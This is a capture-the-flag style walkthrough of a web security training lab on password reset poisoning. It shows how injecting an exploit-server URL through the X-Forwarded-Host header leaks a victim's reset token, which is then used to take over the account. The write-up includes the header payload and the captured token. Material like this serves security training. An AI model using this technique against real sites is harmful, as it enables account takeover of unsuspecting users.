Password reset poisoning via middleware

Description

This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives.

Reproduction and proof of concept

  1. With Burp running, investigate the password reset functionality. Observe that a link containing a unique reset token is sent via email.

  2. Send the POST /forgot-password request to Burp Repeater. Notice that the X-Forwarded-Host header is supported, and you can use it to point the dynamically generated reset link to an arbitrary domain.

  3. Go to the exploit server and make a note of your exploit server URL.

  4. Go back to the request in Burp Repeater and add the X-Forwarded-Host header with your exploit server URL:

X-Forwarded-Host: //exploit-0a6900b503fbfa43c55c132a015300bb.exploit-server.net
  1. Change the username parameter to carlos and send the request.

  2. Go to the exploit server and open the access log. You should see a GET /forgot-password request, which contains the victim’s token as a query parameter. Make a note of this token.

temp-forgot-password-token=DbzZ4lHeIfiXFSg7vHKSMl74XnyXDXKV
  1. Go back to your email client and copy the valid password reset link (not the one that points to the exploit server). Paste this into your browser and change the value of the temp-forgot-password-token parameter to the value that you stole from the victim.

https://0af600a703a2fac9c55d145800d00068.web-security-academy.net/forgot-password?temp-forgot-password-token=DbzZ4lHeIfiXFSg7vHKSMl74XnyXDXKV
  1. Load this URL and set a new password for Carlos’s account.

  2. Log in to Carlos’s account using the new password to solve the lab.

Exploitability

An attacker can log in to wiener:peter. Any emails sent to this account can be read via the email client on the exploit server. The attacker will need to log in to Carlos’s account.